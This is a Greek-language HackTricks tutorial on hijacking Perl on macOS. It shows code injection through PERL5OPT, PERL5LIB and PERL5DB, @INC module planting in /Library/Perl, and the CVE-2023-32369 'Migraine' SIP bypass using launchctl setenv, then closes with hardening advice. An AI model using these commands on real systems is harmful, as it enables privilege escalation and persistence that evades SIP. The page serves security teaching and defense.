macOS Perl Applications Injection
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Via PERL5OPT
& PERL5LIB
env variable
Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος PERL5OPT
είναι δυνατόν να κάνετε το Perl να εκτελεί αυθαίρετες εντολές όταν ξεκινά ο διερμηνέας (ακόμα και πριν από την πρώτη γραμμή του στοχευμένου σεναρίου αναλυθεί).
Για παράδειγμα, δημιουργήστε αυτό το σενάριο:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Τώρα εξάγετε τη μεταβλητή env και εκτελέστε το perl σενάριο:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές env ώστε το module να εντοπίζεται και να φορτώνεται αυτόματα:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Άλλες ενδιαφέρουσες μεταβλητές περιβάλλοντος
PERL5DB
– όταν ο διερμηνέας ξεκινά με την επιλογή-d
(debugger), το περιεχόμενο τουPERL5DB
εκτελείται ως κώδικας Perl μέσα στο πλαίσιο του debugger. Αν μπορείτε να επηρεάσετε τόσο το περιβάλλον όσο και τις επιλογές γραμμής εντολών μιας προνομιακής διαδικασίας Perl, μπορείτε να κάνετε κάτι σαν:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # θα ανοίξει ένα shell πριν εκτελέσει το script
PERL5SHELL
– στα Windows αυτή η μεταβλητή ελέγχει ποιο εκτελέσιμο shell θα χρησιμοποιήσει το Perl όταν χρειάζεται να δημιουργήσει ένα shell. Αναφέρεται εδώ μόνο για πληρότητα, καθώς δεν είναι σχετική στο macOS.
Αν και το PERL5DB
απαιτεί την επιλογή -d
, είναι συνηθισμένο να βρίσκονται σενάρια συντήρησης ή εγκατάστασης που εκτελούνται ως root με αυτή την επιλογή ενεργοποιημένη για λεπτομερή αποσφαλμάτωση, καθιστώντας τη μεταβλητή έγκυρο μέσο κλιμάκωσης.
Μέσω εξαρτήσεων (@INC abuse)
Είναι δυνατόν να καταγράψετε τη διαδρομή συμπερίληψης που θα αναζητήσει το Perl (@INC
) εκτελώντας:
perl -e 'print join("\n", @INC)'
Τυπική έξοδος σε macOS 13/14 φαίνεται όπως:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο /Library/Perl/5.30
υπάρχει, δεν προστατεύεται από το SIP και είναι πριν από τους φακέλους που προστατεύονται από το SIP. Επομένως, αν μπορείτε να γράψετε ως root, μπορείτε να ρίξετε ένα κακόβουλο module (π.χ. File/Basename.pm
) που θα φορτωθεί προτιμησιακά από οποιοδήποτε προνομιακό script που εισάγει αυτό το module.
warning
Χρειάζεστε ακόμα root για να γράψετε μέσα στο /Library/Perl
και το macOS θα εμφανίσει ένα prompt TCC ζητώντας Πλήρη Πρόσβαση Δίσκου για τη διαδικασία που εκτελεί τη λειτουργία εγγραφής.
Για παράδειγμα, αν ένα script εισάγει use File::Basename;
, θα ήταν δυνατό να δημιουργηθεί το /Library/Perl/5.30/File/Basename.pm
που περιέχει κώδικα ελεγχόμενο από τον επιτιθέμενο.
SIP bypass μέσω Migration Assistant (CVE-2023-32369 “Migraine”)
Τον Μάιο του 2023, η Microsoft αποκάλυψε το CVE-2023-32369, γνωστό ως Migraine, μια τεχνική post-exploitation που επιτρέπει σε έναν επιτιθέμενο root να παρακάμψει εντελώς την Προστασία Ακεραιότητας Συστήματος (SIP).
Το ευάλωτο συστατικό είναι το systemmigrationd
, μια διεργασία που έχει δικαίωμα με com.apple.rootless.install.heritable
. Οποιαδήποτε παιδική διαδικασία που δημιουργείται από αυτή τη διεργασία κληρονομεί το δικαίωμα και επομένως εκτελείται εκτός των περιορισμών του SIP.
Μεταξύ των παιδιών που εντοπίστηκαν από τους ερευνητές είναι ο ερμηνευτής υπογεγραμμένος από την Apple:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Επειδή το Perl σέβεται το PERL5OPT
(και το Bash σέβεται το BASH_ENV
), η δηλητηρίαση του περιβάλλοντος του δαίμονα είναι αρκετή για να αποκτήσετε αυθαίρετη εκτέλεση σε ένα περιβάλλον χωρίς SIP:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Όταν εκτελείται το migrateLocalKDC
, το /usr/bin/perl
ξεκινά με το κακόβουλο PERL5OPT
και εκτελεί το /private/tmp/migraine.sh
πριν επανενεργοποιηθεί το SIP. Από αυτό το σενάριο μπορείτε, για παράδειγμα, να αντιγράψετε ένα payload μέσα στο /System/Library/LaunchDaemons
ή να αναθέσετε το εκτεταμένο χαρακτηριστικό com.apple.rootless
για να κάνετε ένα αρχείο μη διαγραφόμενο.
Η Apple διόρθωσε το πρόβλημα στο macOS Ventura 13.4, Monterey 12.6.6 και Big Sur 11.7.7, αλλά παλαιότερα ή μη ενημερωμένα συστήματα παραμένουν εκμεταλλεύσιμα.
Συστάσεις σκληροποίησης
- Καθαρίστε επικίνδυνες μεταβλητές – οι προνομιούχοι launchdaemons ή cron jobs θα πρέπει να ξεκινούν με ένα καθαρό περιβάλλον (
launchctl unsetenv PERL5OPT
,env -i
, κ.λπ.). - Αποφύγετε την εκτέλεση διερμηνέων ως root εκτός αν είναι απολύτως απαραίτητο. Χρησιμοποιήστε συμπιεσμένα δυαδικά αρχεία ή μειώστε τα προνόμια νωρίς.
- Προμηθευτείτε σενάρια με
-T
(modo taint) ώστε το Perl να αγνοεί τοPERL5OPT
και άλλες μη ασφαλείς επιλογές όταν είναι ενεργοποιημένος ο έλεγχος taint. - Διατηρήστε το macOS ενημερωμένο – το “Migraine” είναι πλήρως ενημερωμένο στις τρέχουσες εκδόσεις.
Αναφορές
- Microsoft Security Blog – “Νέα ευπάθεια macOS, Migraine, θα μπορούσε να παρακάμψει την Προστασία Ακεραιότητας Συστήματος” (CVE-2023-32369), 30 Μαΐου 2023.
- Hackyboiz – “Έρευνα παράκαμψης SIP macOS (PERL5OPT & BASH_ENV)”, Μάιος 2025.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.